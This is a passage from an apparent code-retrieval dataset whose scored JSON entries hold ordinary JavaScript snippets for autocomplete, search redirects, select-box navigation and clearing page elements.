null;\n\t\t\tif (e.key == 'ArrowDown') {\n\t\t\t\tnext = current.next();\n\t\t\t} \n\t\t\tif (e.key == 'ArrowUp') {\n\t\t\t\tnext = current.prev();\n\t\t\t}\n\n\t\t\tif (!next.length) {\n\t\t\t\t// beginning or end of suggestions\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t$('#searchInputDropDownMenu .autocomplete-suggestion.selected').removeClass('selected');\n\t\t\tnext.addClass('selected');\n\t\t}\n\t\t\n\t\tif (e.key == 'Enter' || e.key == 'Tab') {\n\t\t\tlet current = $('#searchInputDropDownMenu .autocomplete-suggestion.selected').first();\n\n\t\t\tif (!current.length) {\n\t\t\t\tcurrent = $('#searchInputDropDownMenu .autocomplete-suggestion').first();\n\t\t\t}\n\n\t\t\tif (current.length) {\n\t\t\t\tconst v = current.attr('value');\n\t\t\t\tstate.query = v;\n\t\t\t\tstate.selectedMood = v;\n\t\t\t\t$('#input-search').val(v);\n\t\t\t}\n\n\t\t\tif (e.key == 'Tab') {\n\t\t\t\te.preventDefault();\n\t\t\t}\n\t\t\tif (e.key == 'Enter') {\n\t\t\t\ttriggerQuery();\n\t\t\t}\n\n\t\t\thideDropdown();\n\t\t}\n\n\t});\n}", "title": "" }, { "docid": "c5b9288b5328b1d7a59b1e1e0df95791", "score": "0.55233383", "text": "function InitiateViewOption(url) {\n if ($(\".select-enable-btn\").text() == \"Select\") {\n $(location).attr('href', url);\n }\n}", "title": "" }, { "docid": "0fd39cc275ae1420bbb2f5256c09bb37", "score": "0.55227596", "text": "function handleSuggestion(currentWord, suggestFromText, editorId, shadowId, press, serverResponse) {\n\t// console.log(suggestFromText);\n\n\t// copy editor text to shadow editor again to prevent chaing new suggests\n\t// after previous suggestions (little inefficient, i know)\n\teditorText = $(\"#\" + editorId).html();\n\tcopyContent(editorText, shadowId);\n\n\t// discard anything in suggestions (yea, using global vars sux hard, need to\n\t// fix this shit)\n\tsuggestions = [];\n\n\tserverResponse = serverResponse.split(\"\\t\");\n\n\t// the first suggest is usually infested with a newline for some reason\n\tserverResponse[0] = serverResponse[0].replace(/\\n/g, \"\");\n\t\n\t// discard words shorter than a few characters\n\t// some conditioning might be appropriate to avoid exceptions\n\tvar temp = []\n\tfor (i = 0; i < 4; i++) {\n\t\tif (serverResponse[i].length >= 3) {\n\t\t\tsuggestions.push(serverResponse[i])\n\t\t}\n\t}\n\n\t// if there has been word which can be completion to current word previously\n\t// in text, put it on the beginning of the array and discard the last\n\t// suggestion from server\n\tif (suggestFromText) {\n\t\tsuggestions.unshift(suggestFromText);\n\t\tsuggestions.pop();\n\t}\n\n\t// check if the suggestion actually is the beggining of the word (safety\n\t// measure) and there hasn't been a space at the end of line\n\tif (suggestions[0].indexOf(currentWord) >= 0 && currentWord != \" \") {\n\t\t\n\t\t//not entirely bullet proof - can replace sth else in the word\n\t\tvar completion = suggestions[0].replace(currentWord, \"\");\n\t\tprintCompletion(shadowId, completion);\n\t}\n\n\telse if (currentWord == \" \") {\n\t\tvar completion = suggestions[0]; // just to make this less confusing\n\t\tprintCompletion(shadowId, completion);\n\t}\n\n\tshowAlternatives(editorId);\n\treturn completion;\n}", "title": "" }, { "docid": "5e5b08d3089847c4c5f9f8d8253dcc26", "score": "0.55064124", "text": "function selectedItem(e, value, depth, role){\r\n\t\tvar myPage = location.href.replace( /(.*)#.*/, \"$1\"); \r\n\t\t\tif(value==\"movies\")\t\r\n\t\t\t{\t\r\n\t\t\t\tredirectPage(\"#videos\");\r\n\t\t\t\t//location.href = myPage +\"#videos\"; \r\n\t\t\t}\r\n\t\t\tif(value==\"photos\")\r\n\t\t\t{\r\n\t\t\t\t//location.href = myPage +\"#photos\"; \r\n\t\t\t\tredirectPage(\"#photos\");\r\n\t\t\t}\r\n\t\t\tif(value==\"home\")\r\n\t\t\t{\r\n\t\t\t\t//location.href = myPage +\"#home\"; \t\t\t\t\r\n\t\t\t\tredirectPage(\"#home\");\r\n\t\t\t}\r\n\t\t\t//$.log(value);\r\n\t\t}", "title": "" }, { "docid": "0cb0a2555d9167102169dcf3617a255f", "score": "0.5504073", "text": "function showSelect_2(app_title, app_id) {\n var redirect_url = \"\";\n var page_type = 'report';\n\n if(app_title == \"all_apps\"){\n // component pages\n if(page_type == 'component'){\n redirect_url = \"/apps/feedbacks\";\n } else{\n redirect_url = \"/apps/\";\n }\n } else{\n // alert(location.pathname);\n if(location.pathname.match(/\\?/) === null){\n redirect_url = location.pathname + \"?id_build_current=\" + app_id;\n } else{\n redirect_url = location.pathname + \"&id_build_current=\" + app_id;\n }\n }\n window.location.href = redirect_url;\n}", "title": "" }, { "docid": "c042bf628c9464234dbf3b1beaa052c8", "score": "0.5496391", "text": "function goKeyword() {\n window.location.href = $(\".search-keyword\").data(\"target\");\n}", "title": "" }, { "docid": "f84cd43ba74c49ce0ffb252b47dd4faa", "score": "0.54940486", "text": "function load(suggestion) {\n var searchText = suggestion || ssInputBox.val();\n if (searchText) {\n reloadSuggestions = typeof suggestion == \"undefined\";\n var lowerCasedSearchText = searchText.toLowerCase();\n\n var requestUrl = settings.data.url + \"&query=\" + lowerCasedSearchText;\n\n // jsonp request without ajax\n // This is a temporary solution that circumvents the CORS error. According to John Watts on 4/20/20, we will eventually need to \"change the server to support CORS for these requests\" \n function jsonp(url, callback) {\n var callbackName = 'jsonp_callback_' + Math.round(100000 * Math.random());\n window[callbackName] = function(data) {\n delete window[callbackName];\n document.body.removeChild(script);\n callback(data);\n };\n\n var script = document.createElement('script');\n script.src = url + (url.indexOf('?') >= 0 ? '&' : '?') + 'callback=' + callbackName;\n document.body.appendChild(script);\n }\n\n jsonp(requestUrl, function(data) {\n handleResults(data);\n });\n\n } else {\n hidePanel();\n }\n }", "title": "" }, { "docid": "fd40688fb5109d60a158178ee7260374", "score": "0.54783547", "text": "function handleOptionSelection(err, { input }) {\n switch (input) {\n //Display the current reading list\n case \"list\":\n console.log(\"\\nThe current reading list is as follows: \");\n displayBooks(bookList);\n displayListOptions();\n initiateListOptionsPrompt();\n break;\n //Search for a new book\n case \"search\":\n initiateSearchPrompt();\n break;\n //Exit the program\n case \"exit\":\n console.log(\"Goodbye\");\n break;\n default:\n const index = parseInt(input);\n //Handle case where user wants to add book to reading list\n if (searchResults[index - 1]) {\n addBookToList(index - 1);\n } else {\n //If invalid input re-prompt for valid input\n initiateOptionsPrompt();\n }\n break;\n }\n}", "title": "" }, { "docid": "47531547bd5ddae2439a67839e85748e", "score": "0.54768074", "text": "function connect_typeahead_events($item, save_url, handle_selection) {\n $item.on('typeahead:selected', function(e, datum, name) {\n handle_selection(save_url, $item, datum, name);\n });\n\n $item.on('typeahead:asyncrequest', function() {\n $(this).addClass('ui-autocomplete-loading');\n });\n\n $item.on('typeahead:asynccancel typeahead:asyncreceive', function() {\n $(this).removeClass('ui-autocomplete-loading');\n });\n }", "title": "" }, { "docid": "ed2347d2e0c99fb46ed0acb9b5ef4388", "score": "0.5464741", "text": "function goToPage($this){\n if($this.val() !== null){document.location.href = $this.val()}\n }", "title": "" }, { "docid": "ed2347d2e0c99fb46ed0acb9b5ef4388", "score": "0.5464741", "text": "function goToPage($this){\n if($this.val() !== null){document.location.href = $this.val()}\n }", "title": "" }, { "docid": "a6dbedb0d9e20c85ae27cb7be5bb9bf9", "score": "0.5463029", "text": "_doSearch(){\n // obtain values required for the search from the input and currently selected option.\n let userInputElem = this.shadowRoot.querySelector(\"input#search-query-input\");\n let query = userInputElem ? userInputElem.value : \"\";\n\n // track and store the selected option and its information\n let option = (Object.keys(this._selected).length > 0) ? this._selected : this._options[0];\n let site = option[\"value\"];\n let domain = option[\"domain\"] || \"\";\n\n //conditionally log and/or perform search\n let domain_to_print = domain.length > 80? domain.substring(0,80) + \"...\" : domain;\n this._logToConsole(`searching '${site}' for query: '${query}' on domain: '${domain_to_print}'`);\n if(!this.prevent_action === true){ \n sendGAEvent(\"bulib-search\", site, query);\n window.location = domain + encodeURIComponent(query); \n }\n }", "title": "" }, { "docid": "99f2d6e050a2efc327097df71190d528", "score": "0.545721", "text": "function onAutoCompleteItemClick(e) {\n var elmTarget = $(this); //Get the item selected\n var mention = autocompleteItemCollection[elmTarget.attr('data-uid')]; //Obtains the mention\n\n addMention(mention);\n scrollToInput();\n return false;\n }", "title": "" }, { "docid": "d7de2968d74a0e3c9df72030b71f9d64", "score": "0.5456223", "text": "function getSelectedText() {\n\n let definitionScreen;\n\n if (window.getSelection) { // all browsers, except IE before version 9\n var range = window.getSelection();\n var rangeToString = range.toString().trim().toLowerCase();\n var rangeToArray = rangeToString.split(\" \");\n\n if (rangeToArray.length === 1) {\n definitionScreen = window.open(`https://jisho.org/search/${rangeToString}`, \"_blank\");\n\n } else if (rangeToArray.length > 1) {\n definitionScreen = window.open(`https://translate.google.com/#view=home&op=translate&sl=ja&tl=en&text=${rangeToString}`, \"_blank\")\n\n } else {\n console.log(\"no text selected\");\n };\n\n };\n\n}", "title": "" }, { "docid": "d28097c96544f5ed7c548e08b03d7a4c", "score": "0.5446112", "text": "function onSelectChange() {\r\n //this points to html element, not categoriesmaintainer constructor\r\n var selectedOption = this.options[this.selectedIndex];\r\n var method = selectedOption.getAttribute(\"method\") || \"nomethod!!\";\r\n \r\n this.form.method = method;\r\n this.form.action = this.value;\r\n \r\n \r\n // for some reason, finn isn't always using \"keyword\" as the input name that contains the search\r\n // also needs to be updated for external urls.\r\n var keyword = selectedOption.getAttribute(\"keyword\");\r\n self.keywordField.name = keyword || \"keyword\";\r\n \r\n //restore previous session state\r\n var selectedMainIndex = self.mainSelectItem.selectedIndex;\r\n var subindex = this.selectedIndex;\r\n destroyCachedParams();\r\n \r\n if (method == \"get\") {\r\n // When using get, parameters added in the url of the form action, are ignored\r\n // Add those extra parameters from the url, into the form as hidden inputs\r\n buildCachedParams(this.value, this.form);\r\n }\r\n log(selectedMainIndex + \"_SubCategoryIndex set to: \" + subindex);\r\n GM_setValue(selectedMainIndex + \"_SubCategoryIndex\", subindex);\r\n \r\n }", "title": "" }, { "docid": "61c1a8d5334a8c7bc7d3e8c434040a8f", "score": "0.543538", "text": "function autoComplete(dictionary) {\n $('#autocomplete').autocomplete({\n lookup: dictionary,\n onSelect: function (suggestion) {\n var thehtml = '<strong>Name:</strong> '+suggestion.value;\n $('#outputcontent').html(thehtml);\n }\n });\n}", "title": "" }, { "docid": "0fc24b39b2e9e93861427e38b491afa1", "score": "0.5428365", "text": "function redirect_by_url(select,param_name,url,url2){\n var selec_value=select.options[select.selectedIndex].value;\n if (selec_value!=\"\"){\n strLocation=url+'?'+param_name+'='+selec_value+url2;\n location.href=strLocation;\n }\n}", "title": "" }, { "docid": "436c3bf491230abb1b1ad23c59890a46", "score": "0.54250455", "text": "selection_Handler(selection) {\n this.props.getKeywordList(selection);\n\n this.setState({\n selected: selection\n });\n }", "title": "" }, { "docid": "2bd62a649efa0e01018998f4292cbcea", "score": "0.5420324", "text": "function onAutoCompleteItemClick(e) {\r\n var elmTarget = $(this); //Get the item selected\r\n var mention = autocompleteItemCollection[elmTarget.attr('data-uid')]; //Obtains the mention\r\n\r\n addMention(mention);\r\n scrollToInput();\r\n return false;\r\n }", "title": "" }, { "docid": "9aad6d09fc0779a0eeaf9baddb81d155", "score": "0.5419147", "text": "handleTermSelect() {\n this.props.termSelectHandler(this.props.term);\n }", "title": "" }, { "docid": "063d8dce4439815a842022216610e96b", "score": "0.5413366", "text": "function shortcut()\n{\n objectType = $('#searchType').attr('value');\n objectValue = $('#searchQuery').attr('value');\n if (objectType && objectValue)\n {\n location.href = createLink(objectType, 'view', \"id=\" + objectValue);\n }\n}", "title": "" }, { "docid": "ef9ba839e7016c0a1d4da3695ceed512", "score": "0.5412089", "text": "function redirect_by_select_stats(select,url,url2){\n var selec_value=select.options[select.selectedIndex].value;\n if (selec_value!=\"\"){\n strLocation=url+selec_value+url2;\n location.href=strLocation;\n }\n}", "title": "" }, { "docid": "3cef6aee1d630d041926fb6ef890182b", "score": "0.54085255", "text": "function overallIdeaHandler(event) {\r\n selectedFeedbackType = Constants_1.FeedbackType.Idea;\r\n overallHandler(event, Constants_1.IDs.OverallIdeaAnchor);\r\n}", "title": "" }, { "docid": "e7d347873bfa4751a210552f64d33e62", "score": "0.54041994", "text": "function select() {\n displayCriteria(selectCriteria.val());\n event.stopImmediatePropagation();\n}", "title": "" }, { "docid": "02336fb1a33fba715db2a35ff938213b", "score": "0.5395997", "text": "function clickHandler(e, ths) {\n\tconst dropdown = $(\"#dropdown\" + ths.myId);\n\tlet txt = $(e.target).data(\"ticker\");\n\n\tconst inp = $(\".inp\" + ths.myId);\n\tths.buf = txt;\n\t// Hide suggestions until user starts typing again\n\tdropdown.css(\"display\", \"none\");\n\t// Focus back on input\n\tinp.focus();\n\tif (ths.search) {\n\t\t$('#searchButton').click();\t\t\t\n\t}\n}", "title": "" }, { "docid": "655251c795d7c87bb54efa8faaa58fc7", "score": "0.5395414", "text": "function InitiateViewOption(url) {\n if ($(\".select-enable-btn\").text() == \"Select\") {\n url = $(this).parent().data(\"url\");\n $(location).attr('href', url);\n }\n}", "title": "" }, { "docid": "461824da3b47a8bd74320b81a47e15d2", "score": "0.5394837", "text": "function classMentors() {\r\n\tchosen = document.getElementById(\"class\").value;\r\n\t/* If nothing was chosen, output \"No results.\" */\r\n\tif (chosen == \"\") {\r\n\t\tdocument.getElementById(\"result\").innerHTML = \"No results.\";\r\n\t}\r\n\t/* If a class was selected, then go to that class's mentors page. */\r\n\telse {\r\n\t\twindow.location.assign(\"classMentors.html\");\r\n\t}\r\n}", "title": "" }, { "docid": "da71f934f24105a901f5687bad1f1951", "score": "0.53857523", "text": "function fnCallbackSuggestions(aTerms){\r\n\"use strict\";\r\nvar iTerms=aTerms.length;\r\nif(FC$.Page==\"News\"){\r\nvar sParamName=\"textobuscanews\"\r\nvar sIDNotFound=\"idNotFoundNewsFC\";\r\n}\r\nelse{\r\nvar sParamName=\"texto\"\r\nvar sIDNotFound=\"idTxtCatNotFoundFC\";\r\n}\r\nvar oNotFound=FCLib$.GetID(sIDNotFound);\r\nif(oNotFound && iTerms>=1){\r\nif(iTerms>10)iTerms=10;\r\nvar sTerms=\"<div id=GoogleTerms><ul>\";\r\nvar sPlural=(iTerms>1)?\"s\":\"\";\r\nsTerms+=\"<li><b>Busca\"+ sPlural +\" sugerida\"+ sPlural +\" pelo Google:</b></li>\";\r\nfor(var i=0;i<iTerms;i++)sTerms+=\"<li><a href='\"+ FCLib$.fnGetSearchURL(aTerms[i],sParamName) +\"'>\"+aTerms[i]+\"</a></li>\";\r\nsTerms+=\"</ul></div>\";\r\noNotFound.insertAdjacentHTML('afterend',sTerms);\r\n}\r\n}", "title": "" }, { "docid": "aa897e07e6c27d46dcb1101838580265", "score": "0.5384738", "text": "handleSuggestionClick() {\n this.props.updateFeed(this.state.results);\n }", "title": "" }, { "docid": "852a8bc0f9f303bac71bdb0dc5b43281", "score": "0.53842854", "text": "function handleSelected(opt) {\n var i = opt.selectedIndex - 1; \n if (i > -1) {\n GEvent.trigger(gmarkers[i],\"click\");\n }\n else {\n map.closeInfoWindow();\n }\n }", "title": "" }, { "docid": "20806c6da295a1d9f1a45e8300c9a963", "score": "0.5380878", "text": "function onNewSuggestions(data) {\n // extract the id of the first item + send the RPC to get the details for this\n\n // catch special case: selector box empty, receive delayed suggestions from previously\n // sent search\n if (vm.selectorEmpty()) {\n return;\n }\n\n // catch special case: no selections since search string does not match on anything\n if (data.length === 0) {\n //ab.log(\"data\", data);\n return;\n }\n\n var suggestions = data;\n var firstItemId = suggestions[0].id;\n requestItemDetails(firstItemId);\n currentItemId = firstItemId;\n\n // check if end of results in current cut of results set\n if (suggestions.length === limit + 1) {\n suggestions.splice(data.length - 1, 1); // cut results to limit size\n endInLastArray = false;\n }\n else {\n endInLastArray = true;\n }\n\n // store the items and set variables\n suggestionsArrays = []; // delete old cache\n suggestionsArrays[0] = suggestions;\n listPosition = 0;\n arrayPosition = [0, 0]; // no offset yet\n arrayCounter = 0; // first array in the entire set\n\n // increase the items counter\n vm.receivedAutocompleteSuggestions(vm.receivedAutocompleteSuggestions() + suggestionsArrays[0].length);\n // update the cache indicator\n vm.currentCacheSize(suggestionsArrays[0].length);\n\n // initialize the suggestions box\n var itemsToDisplay = suggestionsArrays[0].slice(0, maxDisplay);\n var cs = {};\n cs.items = itemsToDisplay;\n cs.position = 0;\n cs.display = true;\n cs.above = false;\n if (suggestionsArrays[0].length > maxDisplay) {\n cs.below = true;\n }\n else {\n cs.below = false;\n }\n updateSuggestions(cs);\n\n}", "title": "" }, { "docid": "6f50c45c6f5d77b74642d37987a70738", "score": "0.5375201", "text": "function handleJump (pageName) {\n removeInlineChoicesContainer()\n preparePage(pageName)\n renderDialog()\n }", "title": "" } ]
aa708f3256412172f8f4527f00f8f9cd
this should remove the current state of divs and forms and replace it with the results
[ { "docid": "4e237e2d52d6115e2075874f04265818", "score": "0.0", "text": "function showResults() {\n $('.mainForm').toggle();\n $('#nextButton').toggle();\n if (scoreCounter >= 4) {\n $('.resultsDiv').html(`<body>\n <header id=\"headerScore\"><h1>RESULTS</h1> \n </header>\n <div class=\"resultsBox\">\n <div class=\"resultText\"><h2> You got ${scoreCounter} right. You really know your stuff!</h2></div>\n <div class=\"scoreImg\"></div>\n <button id=\"restartButton\">Restart Button</button>\n </div>\n </body> `)\n } else if (scoreCounter <= 2) {\n $('.resultsDiv').html(`<body>\n <header id=\"headerScore\"><h1>RESULTS</h1> \n </header>\n <div class=\"resultsBox\">\n <div class=\"resultText\"><h2> You got ${scoreCounter} right. You need to hit the water more! </h2></div>\n <div class=\"scoreImg\"></div>\n <button id=\"restartButton\">Try again!</button>\n </div>\n </body> `)\n } else {\n $('.resultsDiv').html(`<body>\n <header id=\"headerScore\"><h1>RESULTS</h1> \n </header>\n <div class=\"resultsBox\">\n <div class=\"resultText\"><h2> You got ${scoreCounter} correct. Are you sure you've been fishing before? </h2></div>\n <div class=\"scoreImg\"></div>\n <button id=\"restartButton\">Try again!</button>\n </div>\n </body> `)\n }\n\n console.log('showResults is running');\n}", "title": "" } ]
[ { "docid": "52d0730eebb99fc11a20d3f636781afb", "score": "0.66617167", "text": "function clearCurrentForm() {\n\t\t\t\n\t\t\tif ($currentForm !== null && $currentItem !== null) {\n\t\t\t\t$currentForm.appendTo($currentItem);\n\t\t\t\t$currentForm = $currentItem = null;\n\t\t\t}\n\t\t\t\n\t\t}", "title": "" }, { "docid": "a201a16f5837915104d542e3624ad155", "score": "0.6639222", "text": "function removeForm() {\n document.getElementById(\"dino-compare\").style.display = \"none\";\n addTilesToDOM();\n}", "title": "" }, { "docid": "a4bb382b3f5cf2b4317c1e18b67f0666", "score": "0.6566997", "text": "function removeForm() {\n document.getElementById('dino-compare').innerHTML = '';\n}", "title": "" }, { "docid": "94835a789bb788da1369cf86e9cbe891", "score": "0.6481385", "text": "function removeInitialInfo() {\n\t$(\"#indiv\").empty();\n}", "title": "" }, { "docid": "0d39cee0c5c1f95ec9a2e1e9ac6ad4c1", "score": "0.64304894", "text": "function removeForm(type) {\n var originalDiv;\n if (type == 1) {\n originalDiv = '<div id=\"formSection\"></div>';\n $(\"#formSection\").replaceWith(originalDiv);\n addFormIsCreated = false;\n } else if (type == 2) {\n originalDiv = '<div id = \"formSection2\"> </div>';\n $(\"#formSection2\").replaceWith(originalDiv);\n reportFormIsCreated = false;\n }\n }", "title": "" }, { "docid": "c832d871972b8eb0aab52a19ec7c4684", "score": "0.64050335", "text": "function cleanUp() {\n $(addedFields).each(function() {\n this.remove();\n });\n $(disabledFields).each(function() {\n this.disabled = false;\n });\n form.attr(\"action\", origAction || \"\")\n .attr(\"target\", origTarget || \"\")\n .attr(\"enctype\", origEnctype || \"\");\n iframe.attr(\"src\", \"javascript:false;\").remove();\n }", "title": "" }, { "docid": "9afd1b2ee52391ae7107256f63ef87bb", "score": "0.6313182", "text": "function clearUI ()\n{\n\t$('.title').remove();\n\t$('.sudoku').remove();\n\t$('.no-solution').remove();\n}", "title": "" }, { "docid": "dda0999ec30db3015f97b900c67b7a70", "score": "0.6296959", "text": "function cleanUp(){\n\t\t$(\".item\").html(\"\");\n\t}", "title": "" }, { "docid": "eb810ccfe47c085e0658cbe4a5b95daf", "score": "0.6291211", "text": "function cancelComposingFactuur() {\n //Controleer of de juiste form op de pagina is, en stop de originele HTML terug in de parent element\n if(document.forms[\"factuurForm\"] !== undefined) {\n document.getElementById(\"factuurForm\").parentNode.innerHTML = originalHTML;\n }\n}", "title": "" }, { "docid": "a00524bf962539170712e07aa0da8605", "score": "0.62677544", "text": "function cleanResults(){\n $('#allResults').html(\"\");\n $('#results').html(\"\");\n}", "title": "" }, { "docid": "c88586fcdcbde62613da121cef847ceb", "score": "0.6262536", "text": "function destroy() {\n if ( Y.dcforms.isOnServer ) {\n return;\n }\n var jqMe = element.jqSelf();\n jqMe.html();\n }", "title": "" }, { "docid": "f0bbb72fa84c720e4de6b351fcddd57e", "score": "0.62086713", "text": "function DisappearEdits(){\n clearTimeout(timer);\n status= 0;\n $('.EditForm').each(function(i,obj){\n $ActualFieldData = $('<strong class=\"ActualFieldData\">' + $(this).children()[0].value + '</strong>');\n $ActualFieldData.attr(\"id\", $(this).children()[0].value)\n $(this).replaceWith($ActualFieldData);\n });\n}", "title": "" }, { "docid": "c78f706f9102c5b61599e32ff7a493ce", "score": "0.61938906", "text": "function resetCharacterUpdateSubmitForm() {\n\n var allUpdateFormRows = characterUpdateSubmitForm.children;\n\n while (allUpdateFormRows.length > 1) {\n\n characterUpdateSubmitForm.removeChild(allUpdateFormRows[0]);\n }\n\n characterUpdateSubmitForm.style.display = \"none\";\n}", "title": "" }, { "docid": "e82ff73f3c68026a78ad83e1ad91133c", "score": "0.6192946", "text": "function cleanUp() {\n markers.prop('disabled', false);\n form.remove();\n iframe.bind(\"load\", function() { iframe.remove(); });\n iframe.attr(\"src\", \"javascript:false;\");\n }", "title": "" }, { "docid": "e82ff73f3c68026a78ad83e1ad91133c", "score": "0.6192946", "text": "function cleanUp() {\n markers.prop('disabled', false);\n form.remove();\n iframe.bind(\"load\", function() { iframe.remove(); });\n iframe.attr(\"src\", \"javascript:false;\");\n }", "title": "" }, { "docid": "e268b12291585ee6286ca932707e5395", "score": "0.6171035", "text": "function clearAll(){\n\t\t$(\"norankdata\").hide();\n\t\t$(\"errors\").innerHTML = \"\";\n\t\t$(\"celebs\").innerHTML = \"\";\n\t\t$(\"meaning\").innerHTML = \"\";\n\t\t$(\"graph\").innerHTML = \"\";\n\t}", "title": "" }, { "docid": "3777e92e9ce089a2919ea625d48ca9cf", "score": "0.61660594", "text": "function clearMainDiv() {\n\t$('#page-wrapper').empty();\n}", "title": "" }, { "docid": "bc71c70568e809de5f5486238030a652", "score": "0.6165271", "text": "function clearPanels() {\n $(\"#results\").html(\"\");\n}", "title": "" }, { "docid": "8b1d12bbb5b33e0b146185a93b52a2bd", "score": "0.6156576", "text": "function clearFormContents()\n {\n $(\".form-field\").empty().val('');\n }", "title": "" }, { "docid": "cdf9f3572ed655076fb1b09afbf3529f", "score": "0.61515343", "text": "function resetFormularios(event){\r\n\tvar unForm=document.getElementById(event.data.p);\r\n\twhile (unForm.hasChildNodes()){\r\n\t\tunForm.removeChild(unForm.childNodes[0]);\r\n\t}\r\n\tunForm=document.getElementById(event.data.p2);\r\n\twhile (unForm.hasChildNodes()){\r\n\t\tunForm.removeChild(unForm.childNodes[0]);\r\n\t}\r\n\tunForm=document.getElementById(event.data.p3);\r\n\twhile (unForm.hasChildNodes()){\r\n\t\tunForm.removeChild(unForm.childNodes[0]);\r\n\t}\r\n\tunForm=document.getElementById(event.data.p4);\r\n\twhile (unForm.hasChildNodes()){\r\n\t\tunForm.removeChild(unForm.childNodes[0]);\r\n\t}\t\r\n}", "title": "" }, { "docid": "acaf9ea5ec13601e13acd5797454c7e7", "score": "0.6150129", "text": "function clearContent() {\n\t\t$(\"#time\").empty();\n\t\t$(\"#question\").empty();\n\t\t$(\"#answers\").empty();\n\t}", "title": "" }, { "docid": "51e0803a4eb84061eda35aaa62b7cbc7", "score": "0.61405736", "text": "function clearForm() {\n\t\t\n\t\t}", "title": "" }, { "docid": "a6ed977a11c32057d9fd649213c6571f", "score": "0.612333", "text": "function cleanupForm() {\n showSpinner(false);\n unmarkreset.submitbtn.fadeOut();\n unmarkreset.firstpass.val('');\n unmarkreset.secondpass.val('').slideUp();\n }", "title": "" }, { "docid": "21594569082c8ea415328a8d18434488", "score": "0.61177063", "text": "function depopulateDiv(){\n var parent = document.getElementById(\"wikiData\");\n while (parent.firstChild){\n parent.removeChild(parent.firstChild);\n }\n}", "title": "" }, { "docid": "fd9a5c789acdc5aada5fa1534e7ece1c", "score": "0.6104083", "text": "function removeInstructions() {\n\t$(\"#leftDivInfo\").empty();\n}", "title": "" }, { "docid": "f2de1450abf21f2bd07964c54aeae1ea", "score": "0.6086348", "text": "function mainPage(){\n $(\"div\").hide();\n $(\".appended\").remove();\n buildPage();\n}", "title": "" }, { "docid": "50ac285ee05aaa7c8269a4d6a815fc9f", "score": "0.6069767", "text": "function resetDivs(){\n loginDiv.style.display = \"none\";\n submitDiv.style.display = \"none\";\n employeeListDiv.style.display = \"none\";\n employeeTicketDiv.style.display = \"none\";\n managerDiv.style.display = \"none\";\n managerTicketDiv.style.display = \"none\";\n}", "title": "" }, { "docid": "52c5b69a2ab0830d60e78391f68a487a", "score": "0.6058952", "text": "function _resetOverlay(){\n $('#overlay').fadeOut(200, function(){\n // check which form is present and remove it\n if($('#addvinylform').length){\n $('#addvinylform').remove();\n }\n else{\n $('#editvinylform').remove();\n $('#profileform').remove();\n $('#importform').remove();\n }\n });\n }", "title": "" }, { "docid": "2ee1d6e08dfdfbb555f96fd8c0d02f36", "score": "0.6045606", "text": "function removeQuizhtmlElements() {\n cardBody.removeChild(timerLabel);\n cardBody.removeChild(questionPTag);\n rowDiv.removeChild(colDiv);\n cardBody.removeChild(rowDiv)\n cardBody.removeChild(nextButton);\n}", "title": "" }, { "docid": "7adb1b29407cc55a3b7de13879219f55", "score": "0.60438275", "text": "function hideDivs() {\n subtotalDiv.classList.add(\"removed\");\n totalDiv.classList.add(\"removed\");\n inputFormDiv.style.display = \"none\";\n cartItemsDiv.classList.add(\"removed\");\n paymentFormDiv.scrollIntoView();\n\n // update formatting of paymentformdiv\n paymentFormDiv.classList.add(\"paymentForm__divCheckout\");\n}", "title": "" }, { "docid": "32a8c59d76adb61528d7f29b1ec583e8", "score": "0.60429424", "text": "function newSearch() {\n\tdocument.getElementById(\"results_div_header\").innerHTML =\"\"; \t\n\tdocument.getElementById(\"duolingoImg\").innerHTML =\"\"; \t\n\n\t$(\"#newSearchBut\").hide();\n\t$(\"#duolingoImg\").hide();\n\t$(\"#questionBut\").show();\n\n\n\tdocument.getElementById(\"inputForm\").reset(); \n\n}", "title": "" }, { "docid": "5e9b742e087d137d1bbc2178aeb01930", "score": "0.60328746", "text": "function resetForm(event){\r\n\tvar unForm=document.getElementById(event.data.p);\r\n\twhile (unForm.hasChildNodes()){\r\n\t\tunForm.removeChild(unForm.childNodes[0]);\r\n\t}\t\r\n}", "title": "" }, { "docid": "8e93f787eeac373c8cf0f5e5892d6ed5", "score": "0.6029034", "text": "function divSwap() {\n $(\"#origAnimated\").hide();\n $(\"#origAnimated\").val(\"\");\n $(\"#original\").val(\"\");\n $(\"#original\").show();\n }", "title": "" }, { "docid": "b6741dde8ac05bc8024f3f4b4e8009a4", "score": "0.6017351", "text": "function clearResults() {\n $(\".user img\").remove();\n $(\".comp img\").remove();\n $(\".result h2\").remove();\n }", "title": "" }, { "docid": "13965cda652743c13798706864f3f0b2", "score": "0.60142654", "text": "_clean() {\n for (let i = 0; i < this.domElements.length; i++) {\n this.wrapper.removeChild(this.domElements[i]);\n }\n\n if (this.wrapper !== undefined) {\n this.container.removeChild(this.wrapper);\n this.wrapper = undefined;\n }\n this.domElements = [];\n\n this._removePopup();\n }", "title": "" }, { "docid": "13965cda652743c13798706864f3f0b2", "score": "0.60142654", "text": "_clean() {\n for (let i = 0; i < this.domElements.length; i++) {\n this.wrapper.removeChild(this.domElements[i]);\n }\n\n if (this.wrapper !== undefined) {\n this.container.removeChild(this.wrapper);\n this.wrapper = undefined;\n }\n this.domElements = [];\n\n this._removePopup();\n }", "title": "" }, { "docid": "87ee8318e0460840df84389c1415ad8c", "score": "0.6012704", "text": "function resetForm() {\n $('#wrap_form input').removeAttr(\"checked\");\n $('#wrap_form input, #wrap_form textarea').val('');\n $('#link_add, #group_add, #apdate_form, #all_group').slideUp(500);\n $('#link_add, #group_add, #apdate_form, #all_group').slideUp(500);\n $(\"#all_group ul.list\").text('');\n $('#modal_wind').slideUp(300);\n $('#wrap_form').slideUp(300);\n $('#wrap_form').trigger('reset');\n}", "title": "" }, { "docid": "b99e027628f0b679a59a0b2d0d468877", "score": "0.60085577", "text": "_clean() {\n for (var i = 0; i < this.domElements.length; i++) {\n this.wrapper.removeChild(this.domElements[i]);\n }\n\n if (this.wrapper !== undefined) {\n this.container.removeChild(this.wrapper);\n this.wrapper = undefined;\n }\n this.domElements = [];\n\n this._removePopup();\n }", "title": "" }, { "docid": "148d8618980b7478e7b429ad6cad2f64", "score": "0.6005676", "text": "function cleanUp() {\n $(form).remove();\n $(iFrame).off('load').attr('src', 'javascript:false;').remove();\n iFrame = form = null;\n delete window[methodKey][name];\n }", "title": "" }, { "docid": "a653ba76794bf466625a54521b8a7595", "score": "0.599737", "text": "function gdl_clear_editbox(){\r\r\n\t\tgdl_content.hide(0, 